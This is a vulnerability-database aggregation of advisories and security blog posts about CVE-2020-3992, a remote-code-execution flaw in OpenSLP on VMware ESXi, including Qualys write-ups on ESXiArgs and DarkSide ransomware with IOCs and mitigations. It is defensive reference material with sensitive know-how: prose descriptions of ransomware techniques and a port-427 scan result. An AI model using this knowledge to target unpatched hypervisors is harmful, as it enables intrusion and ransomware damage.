OpenSLP as used in VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG) has a use-after-free issue. A malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution.
{"zdi": [{"lastseen": "2023-12-03T20:47:06", "description": "This vulnerability allows local attackers to escalate privileges on affected installations of VMware ESXi. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of SLP messages. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-25T00:00:00", "type": "zdi", "title": "VMware ESXi SLP Use-After-Free Privilege Escalation Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2020-11-25T00:00:00", "id": "ZDI-20-1385", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-1385/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-03T20:47:16", "description": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of VMware ESXi. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of SLP messages. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the SLP daemon.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-23T00:00:00", "type": "zdi", "title": "VMware ESXi SLP Use-After-Free Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2020-11-23T00:00:00", "id": "ZDI-20-1377", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-1377/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-03T20:49:11", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of VMware ESXi. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of SLP messages. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the SLP daemon.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-20T00:00:00", "type": "zdi", "title": "VMware ESXi SLP Use-After-Free Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2020-10-20T00:00:00", "id": "ZDI-20-1269", "href": "https://www.zerodayinitiative.com/advisories/ZDI-20-1269/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2023-12-03T17:39:54", "description": "VMware ESXi OpenSLP contains a use-after-free vulnerability that allows an attacker residing in the management network with access to port 427 to perform remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "VMware ESXi OpenSLP Use-After-Free Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-3992", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "prion": [{"lastseen": "2023-11-22T01:40:32", "description": "OpenSLP as used in VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG) has a use-after-free issue. A malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-20T17:15:00", "type": "prion", "title": "Design/Logic Flaw", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2022-06-15T02:59:00", "id": "PRION:CVE-2020-3992", "href": "https://www.prio-n.com/kb/vulnerability/CVE-2020-3992", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:30:39", "description": "A remote code execution vulnerability exists in VMware ESXi. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-02T00:00:00", "type": "checkpoint_advisories", "title": "VMware ESXi Remote Code Execution (CVE-2020-3992)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992"], "modified": "2021-12-02T00:00:00", "id": "CPAI-2020-3443", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2023-02-09T18:12:46", "description": "Updated on February 8, 2023 at 2:40 PM Pacific Standard Time: This article has been updated with EVALUATE Vendor-Suggested Mitigation with Policy Compliance (PC) \n\nUpdated on February 7, 2023 at 9:05 PM Pacific Standard Time: This article has been updated with the latest information on the ESXiArgs-Recovery Solution, a script offered by the Cybersecurity and Infrastructure Security Agency (CISA) for accessing encrypted virtual machines.\n\nWe wanted to bring to your attention a significant ransomware threat recently reported in the cybersecurity community by French national government computer security incident response team ([CERT-FR](<https://www.cert.ssi.gouv.fr/alerte/CERTFR-2023-ALE-015/>)). The ransomware attack campaign targeting the vulnerabilities in VMware's ESXi and Cloud Foundation systems, identified by CVE identifier CVE-2021-21974. \n\nThese attacks are taking advantage of the vulnerability of ESXi hypervisors that haven't been updated with security patches quickly enough, with the SLP service being a particular target due to known vulnerabilities (CVE-2020-3992 and CVE-2021-21974). The systems currently targeted are ESXi hypervisors in version 6.x and before 6.7. The CERT-FR confirms that virtual machine disks can be recovered if the .vmdk files are encrypted and renamed with a .args extension. \n\nThe attack results from a heap-overflow vulnerability in OpenSLP, which is used in VMware ESXi versions 7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, and 6.5 before ESXi650-202102101-SG. \n\nAttackers who have access to port 427 on the same network segment as ESXi may be able to trigger the heap-overflow issue and execute remote code, potentially leading to a ransomware attack. This could result in remote code execution. The vulnerability was confirmed and weaponized, being used by the ransomware family ESXiArgs, on February 3, 2023. The vulnerability's Proof of Concept (PoC) was published on February 24, 2021. \n\nThe Common Weakness Enumeration (CWE) categories related to the vulnerability include: \n\n * Buffer overflow. \n * Incorrect calculation of buffer size. \n * Buffer access with incorrect length value. \n\n The vulnerability has been assigned a high severity score by CVSSv3 (8.8) and is considered one of the top 25 most dangerous software errors (CWE Top 25). \n\n## **Qualys QID Coverage ** \n\nQualys has released four (4) **QID on **2021-02-25 to cover these vulnerabilities, starting with IP scanning version VULNSIGS-2.5.133-2. \n\nQID| Title \n---|--- \n216258 | VMware ESXi 6.5 Patch Release ESXi650-202102101-SG Missing (VMSA-2021-0002) \n216257| VMware ESXi 6.7 Patch Release ESXi670-202102401-SG Missing (VMSA-2021-0002) \n216256| VMware ESXi 7.0 Patch Release ESXi70U1c-17325551 Missing (VMSA-2021-0002) \n11699 | VMware vCenter Server Remote Code Execution Vulnerability (VMSA-2021-0002) \n \n## Discover Vulnerable VMware's ESXi Using Qualys VMDR\n\nYou can see all your impacted hosts for this vulnerability in the vulnerabilities view by using QQL query\n \n \n vulnerabilities.vulnerability.qid:[`216258`,`216257`,`216256`,`11699`]\n \n or \n \n vulnerabilities.vulnerability.cveIds:[CVE-2021-21974]\n\n \n\n## EVALUATE Vendor-Suggested Mitigation with Policy Compliance (PC) \n\nWith Qualys Policy Compliance\u2019s Out-of-the-Box Mitigation or Compensatory Controls reduce the risk of a vulnerability being exploited because the remediation (fix/patch) cannot be done now, these security controls are not recommended by any industry standards such as CIS, DISA-STIG.\n\nQualys Policy Compliance team releases these exclusive controls based on Vendor-suggested Mitigation/Workaround.\n\nThe term "Mitigation" refers to a setting, common configuration, or general best practice in the default state that could reduce the severity of exploitation of a vulnerability.\n\nThe following [Qualys Policy Compliance System Defined Control IDs (CIDs)](<https://qualysguard.qg2.apps.qualys.com/qwebhelp/fo_portal/module_pc/controls/controls_lp.htm>) have been updated to support VMWare recommended workaround(s) for these vulnerabilities:\n\nCVE-2021-21974 ESXi OpenSLP heap-overflow vulnerability \nCVE-2020-3992 ESXi OpenSLP remote code execution vulnerability \n\nPolicy Compliance Control IDs (CIDs): \n\n * 22403 Status of the 'SLPD Service' service on the system \n * 22451 Status of the 'SLPD Service' startup policy on the ESXi host \n * 20971 ESXI Check firewall ports ruleset All \n\nHere are the QQL query for above Policy Compliance Control IDs:\n \n \n control.id:[22403,22451,20971]\n\n\n\n## ESXiArgs-Recover: A Solution for Ransomware Attacks on VMware ESXi Hypervisors\n\nRecently, the Cybersecurity and Infrastructure Security Agency (CISA) has become aware of ransomware attacks targeting VMware ESXi hypervisors. However, some organizations have succeeded in recovering their virtual machines without paying the ransom. In response, CISA has developed the [ESXiArgs-Recover tool](<https://github.com/cisagov/ESXiArgs-Recover>) to assist organizations in their efforts to recover their data. \nThis tool is based on publicly available resources and has been compiled with the help of experts such as Enes Sonmez and Ahmet Aykac. It allows organizations to reconstruct virtual machine metadata from virtual disks that were not encrypted by the malware. This gives organizations an alternative to paying ransoms and losing access to critical data. \nThe ESXiArgs-Recover tool provides organizations with a valuable resource to mitigate the effects of ransomware attacks on VMware ESXi hypervisors. CISA recommends organizations use this tool to minimize the impact of these attacks.\n\nIt is worth mentioning that the ESXiArgs script from CISA is based on research findings from third-party sources. Organizations should examine the script before using it and understand the potential consequence on their system. The script creates new config files to enable VM access to VMs while does not delete encrypted files. It is provided for informational purposes only, and CISA does not endorse commercial products. The script is provided "as is" without warranty, and CISA does not assume liability for any damage caused.\n\n## Conclusion\n\nIt is strongly recommending that organizations isolate the affected server and conduct an analysis to detect any signs of compromise. A reinstallation of the hypervisor in a version supported by the publisher (ESXi 7.x or ESXi 8.x) is preferred, and security patches should be applied along with the following future vendor security advisories. Additionally, disabling unnecessary services and blocking access to administration services through a firewall is recommended. Updating a product or software should be done with caution, and testing and continuity of service provisions should be in place. \n\nWe take the protection of our customers' systems and data very seriously. We want to remind you of the importance of keeping your systems up-to-date with the latest patches and security updates. \n\n## Contributors\n\n * Aparna Hinge, Senior Manager, Compliance Research Analysis\n * Xiaoran (Alex) Dong, Manager, Compliance Signature Engineering\n * Anu Kapil, Sr. Product Manager, Compliance Solutions", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-02-08T00:39:02", "type": "qualysblog", "title": "Ransomware Targets Outdated VMware ESXi Hypervisors: Protect Your Systems Now!", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3992", "CVE-2021-21974"], "modified": "2023-02-08T00:39:02", "id": "QUALYSBLOG:F6AD4516313BAD6D621959A31EE1ACD7", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:34:25", "description": "DarkSide ransomware is a relatively new ransomware strain that threat actors have been using to target multiple large, high-revenue organizations resulting in the encryption and theft of sensitive data and threats to make it publicly available if the ransom demand is not paid. Because of its potential impact, we detail here the mechanisms used by the ransomware so that security teams can better assess their risk. We also recommend best practices to reduce the risk of a successful attack.\n\n### About DarkSide Ransomware\n\nDarkSide ransomware, first seen in August 2020 and updated as v2.0 in March 2021, is associated with the DarkSide group and now often operates as ransomware-as-a-service (RaaS). The DarkSide ransomware group has a history of double extortion of its victims. It asks for payment to unlock the affected computers and also to retrieve the exfiltrated data.\n\nTechniques that the attackers have used in DarkSide ransomware can be very sophisticated: Initial access by [Exploiting Public-Facing Applications](<https://attack.mitre.org/techniques/T1190/>) (e.g. RDP), [Privilege Escalation](<https://attack.mitre.org/techniques/T1548/002/>), and [Impair Defenses](<https://attack.mitre.org/techniques/T1562/>). DarkSide ransomware makes use of vulnerabilities CVE-2019-5544 and CVE-2020-3992. Both vulnerabilities have widely available patches, but attackers are targeting to organizations using unpatched or older versions of the software. During encryption DarkSide ransomware uses a customized ransom note and file extension for their victims.\n\nAlthough DarkSide has [reportedly shut its doors](<https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/>) following the six-day outage at Colonial Pipeline in early May, the US government is [making significant efforts](<https://www.washingtonpost.com/business/2021/06/04/white-house-fbi-ransomware-attacks/>) to counter the ransomware industry as a potential threat to national security. Organizations should continue investing in efforts to reduce the risk of successful attack and to put response processes in place.\n\n### Technical Details\n\n#### Initial Access\n\nDarkSide ransomware performs brute force attacks and exploits known vulnerabilities in the remote desktop protocol (RDP) to gain initial access. After initial access DarkSide ransomware does validation on the machines to infect. DarkSide ransomware collects the information about computer name and system language in its initial code execution. DarkSide is used to target English-speaking countries. DarkSide ransomware checks the default system language as shown below.\n\n\n\n#### Privilege Escalation and Lateral Movement\n\nPrivilege Escalation consists of techniques that are used to gain higher-level permissions on a system or network. Privilege escalation attacks can be performed if a malicious user exploits a bug or configuration error in an application or operating system. Privilege escalation is used to gain elevated access to resources that should not normally be available to the user. DarkSide ransomware checks for if the user has administrator privileges; if not, it will try to get administrator privileges by using UAC bypass technique making use of CMSTPLUA COM interface as shown below.\n\n\n\n#### Data Exfiltration\n\nDarkSide ransomware identified data backup applications, exfiltrates data, and then encrypts local files as part of the ransomware deployment.\n\n#### Delete Volume Shadow Copies\n\nRansomware campaigns often attempt to delete the volume shadow copies of the files on a given computer so that their victims will not be able to restore file access by reverting to the shadow copies. DarkSide ransomware deletes the volume shadow copies via PowerShell scripts.\n\n\n\n\n\n#### Impair Defenses\n\nDarkSide disables security protection services using the [Impair Defenses](<https://attack.mitre.org/techniques/T1562/>) technique to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information. DarkSide ransomware deletes the services as shown below.\n\n\n\n#### Ransomware Execution\n\nRansomware generates the custom file extension based on machine GUID and using API RtlComputeCRC32. File extension generated by using Machine GUID is of 8 characters and will be added to each encrypted file name.\n\n \n\nTo prevent ransomware detection, DarkSide uses encrypted APIs, strings and ransom notes. APIs will be dynamically resolved as shown below.\n\n\n\nDarkSide ransomware excludes some of the files based on the file extension. Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx API and encrypted using an RSA-1024 public key.\n\n\n\n### Vulnerabilities Exploited\n\nAs [reported by Zdnet](<https://www.zdnet.com/article/ransomware-gangs-are-abusing-vmware-esxi-exploits-to-encrypt-virtual-hard-disks>), Ransomware attackers can attack virtual infrastructure through weak versions of the VMware ESXi hypervisor. DarkSide ransomware attackers have used CVE-2019-5544 and CVE-2020-3992 vulnerabilities in VMware ESXi. Both vulnerabilities are patched, but attackers are still targeting organizations using unpatched or older versions of the software. Open SLP (Service Layer Protocol) is used for multiple virtual machines to store information on a single server in VMware ESXi hypervisor.\n\n#### Known Attack vectors\n\n * **CVE-2019-5544** \nA malicious actor with network access to port 427 on an ESXi host or on any Horizon DaaS management appliance may be able to overwrite the heap of the OpenSLP service resulting in remote code execution.\n * **CVE-2020-3992** \nA malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution.\n\n### Detection, Mitigation or Additional Important Safety Measures\n\n * Keep strong and unique passwords for login accounts.\n * Turn off the RDP if it is not used. If needed, change the RDP port to a non-standard port.\n * Configure firewall in following way:\n * Deny access to Public IPs to important ports (in this case RDP port 3389)\n * Allow access to only IP\u0573 which are under your control.\n * Use VPN to access the network, instead of exposing RDP to the Internet. Possibly implement Two Factor Authentication (2FA).\n * Establish a lockout policy that prevents the ability to guess credentials.\n * Create a separate network folder for each user when managing access to shared network folders.\n\n#### Back Up Data Regularly\n\n * Protect systems from ransomware by backing up important files regularly and keep a recent backup copy offline. Encrypt your backup.\n * If your computer gets infected with ransomware, your files can be restored from the offline backup once the malware has been removed.\n * Always use a combination of online and offline backup.\n * Do not keep offline backups connected to your system as this data could be encrypted during the ransomware attack.\n\n#### Keep Software Updated\n\n * Always keep your security software (antivirus, firewall, etc.) up to date to protect your computer from new variants of malware.\n * Regularly patch and update applications, software, and operating systems to address any exploitable software vulnerabilities.\n * Do not download cracked/pirated software as it may contain backdoors.\n * Avoid downloading software from untrusted P2P or torrent sites, which often host malicious software.\n\n#### Having Minimum Required Privileges\n\n * Do not provide administrative privileges to users. Do not stay logged in as administrator unless strictly required. In addition, avoid browsing, opening documents, or other regular work activities while logged in as an administrator.\n\n#### Detection and Mitigation\n\nTo detect DarkSide ransomware attack, keep an eye out not only for attack code but also monitor for any evidence of the privilege escalation, impair defenses and data exfiltration techniques described above. To determine whether an organization has been impacted by DarkSide ransomware, check client-facing devices and applications for any signs of unauthorized access. To identify potential data exfiltration, identify unusual patterns of outbound traffic.\n\n[Qualys Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>) has integrated endpoint protection capabilities to deliver more holistic security to your endpoints for such attacks. Anti-Malware proactively protects endpoints against known threats while EDR augments those detection capabilities by capturing endpoint activity and telemetry to detect and respond to unknown zero-day threats and living-off-the-land attacks. When there is a symptom of a compromise or attack, EDR provides more in-depth visibility and contextual enrichment for incident responders and threat hunters to get a complete picture of the endpoint to do root cause analysis. Qualys Multi-Vector EDR provides protection, detection, and response capabilities by using a variety of detection capabilities: real-time anti-malware technology, anti-exploit memory protection, endpoint telemetry and correlation that identifies suspicious & malicious behavior, industry-leading threat intelligence, and Mitre ATT&CK tactics & techniques.\n\n### DarkSide Ransomware TTP Map\n\n\n\n### Exploited Vulnerabilities\n\n * CVE-2019-5544\n * CVE-2020-3992\n\n### IOCs\n\n#### SHA-256\n\n12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975 \n17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61 \n43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa \nafb22b1ff281c085b60052831ead0a0ed300fac0160f87851dacc67d4e158178 \nf764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39\n\n### References\n\n * <https://www.zdnet.com/article/ransomware-gangs-are-abusing-vmware-esxi-exploits-to-encrypt-virtual-hard-disks/>\n * <https://blog.qualys.com/product-tech/2021/05/03/the-convergence-of-endpoint-protection-with-detection-response/>\n * <https://www.vmware.com/security/advisories.html>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-09T15:00:00", "type": "qualysblog", "title": "DarkSide Ransomware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-5544", "CVE-2020-3992"], "modified": "2021-06-09T15:00:00", "id": "QUALYSBLOG:7BF2D14DE17569BB5BA4718BE809A20B", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-10-18T16:42:55", "description": "OpenSLP as used in VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202010401-SG, 6.5 before ESXi650-202010401-SG) has a use-after-free issue. A malicious actor residing in the management network who has access to port 427 on an ESXi machine may be able to trigger a use-after-free in the OpenSLP service resulting in remote code execution.\n\n**NOTE**: VMware issued a patch for the patch on 2020-11-04. The advisory URL \u2014 <https://www.vmware.com/security/advisories/VMSA-2020-0023.html> \u2014 did not change.\n\n \n**Recent assessments:** \n \n**bwatters-r7** at October 20, 2020 6:20pm UTC reported:\n\nThis is one of a set of vulnerabilities from the Zero Day Initiative affecting VMWare products. This is the most significant and most valuable to attackers in my opinion as this affects ESXi servers which are difficult and sometimes impossible to patch, depending on the age and type of hardware. VMWare ESXi updates can be done through a VMWare vCenter server, but as those are not present in all environments, a complex, manual update may be necessary, assuming the update is compatible with the hardware. The lack of legacy support and possible manual nature of VMWare ESXi\u2019s update process will likely increase the time-availability of this vulnerability for attackers, even in enterprise environments. \nThe exploit target is the OpenSLP service on port 427, open and running in a default configuration. Here is a UDP nmap scan of an affected server:\n \n \n Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-20 13:05 CDT\n Nmap scan report for server.redacted (xxx.xxx.xxx.xxx)\n Host is up (0.00055s latency).\n Not shown: 998 open|filtered ports\n PORT STATE SERVICE\n 161/udp closed snmp\n 427/udp open svrloc\n \n Nmap done: 2 IP addresses (1 host up) scanned in 10.32 seconds\n \n\nThe service is vulnerable to a specially crafted packet that can cause a use-after-free allowing arbitrary code execution. It is important to note that in the VMWare advisory here (<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>), they include impacted products other than ESXi, but those are for other vulnerabilities that are less severe. A good breakdown of the vulnerabilities is here: <https://www.cybersecurity-help.cz/vdb/SB2020102044>\n\nI have not yet seen a PoC for this vulnerability, so it is difficult to comment on the exact difficulty for the exploit, but given the nature of ESXi servers as often critical infrastructure with access to login servers like Domain Controllers, their high uptime requirements, specialty operating system, and difficulty patching, even if the exploit were highly complex, it would still be worth it for a given attacker.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-10-20T00:00:00", "type": "attackerkb", "title": "CVE-2020-3992 \u2014 ESXi OpenSLP remote code execution vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, 